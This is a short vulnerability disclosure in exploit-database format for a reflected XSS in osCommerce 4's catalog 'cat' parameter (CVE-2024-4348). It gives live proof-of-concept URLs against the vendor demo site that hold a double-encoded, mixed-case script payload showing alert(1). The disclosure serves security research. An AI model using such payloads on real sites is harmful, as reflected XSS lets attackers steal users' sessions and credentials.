# Exploit Title: osCommerce 4 - Reflected XSS # Exploit Author: CraCkEr # Date: 22/04/2024 # Vendor: osCommerce ltd. # Vendor Homepage: https://www.oscommerce.com/ # Software Link: https://demo.oscommerce.com/ # Demo Link: https://demo.oscommerce.com/furniture/ # Tested on: Windows 11 Pro # Impact: Manipulate the content of the site # CVE: CVE-2024-4348 # VDB: VDB-262488 # CWE: CWE-79 / CWE-74 / CWE-707 # CAPEC: CAPEC-10 / CAPEC-209 / CAPEC-250 # ATT&CK: T1059.007 ## Description Attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials GET parameter 'cat' is vulnerable to RXSS Path: /furniture/catalog/all-products https://demo.oscommerce.com/furniture/catalog/all-products?cat=[XSS] https://demo.oscommerce.com/watch/catalog/all-products?cat=[XSS] ## Live POC: https://demo.oscommerce.com/furniture/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%25281%2529%253c%252fScRiPt%253eiyehb=1 https://demo.oscommerce.com/watch/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%25281%2529%253c%252fScRiPt%253eiyehb=1 [-] Done